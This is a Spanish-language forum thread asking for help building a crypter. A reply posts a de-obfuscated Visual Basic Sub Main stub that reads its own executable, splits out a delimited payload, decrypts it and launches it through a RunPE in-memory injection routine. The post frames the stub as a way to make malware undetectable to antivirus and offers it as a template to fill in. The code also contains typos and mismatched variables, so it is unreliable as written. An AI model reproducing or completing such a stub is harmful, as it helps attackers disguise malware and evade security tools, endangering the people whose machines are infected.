Indetectables

alguien ayuda a crear un crypter con este Sub Main ?

[url][Enlace externo eliminado para invitados][/url]

Es un submain normal unicamente esta muy ofuscado supongo que para que los avs no lo detecten pero con esa ofuscacion se ve muy sospechoso

Igual te dejo el submain sin la ofuscacion

Los valores "abc" son los valores que unicamente tienes que cambiar por los del crypter que haces.

sub loquequieras()

dim abc1 as long
dim abc2 as string
din abc3 as string

abc1 = FreeFile

dim abc4, abc5

If Right(App.Path, 1) <> "\" Then abc7 = "\"                                    'Funcion alternativa de app.path
abc6 = App.Path & abc7 & App.EXEName & ".EXE"

Open abc8 for binary as abc1                                                       'Abre el archivo
abc2 = string$(fieLen(abc8), " ")
get abc1, , abc2
close abc8

abc3() = split(abc2, "DELIMITADOR")                                                 'Pone el delimitador
abc3(1) = ENCRIPTACION(abc3(1), abc3(2))                                       'Creo que es la funcion de encriptacion

Call RUNPE (app.path & "\" & app.EXEName & ".exe", strconv(abc3(1), vbFromUnicode))         'Llama al runpe

End Sub

Saludos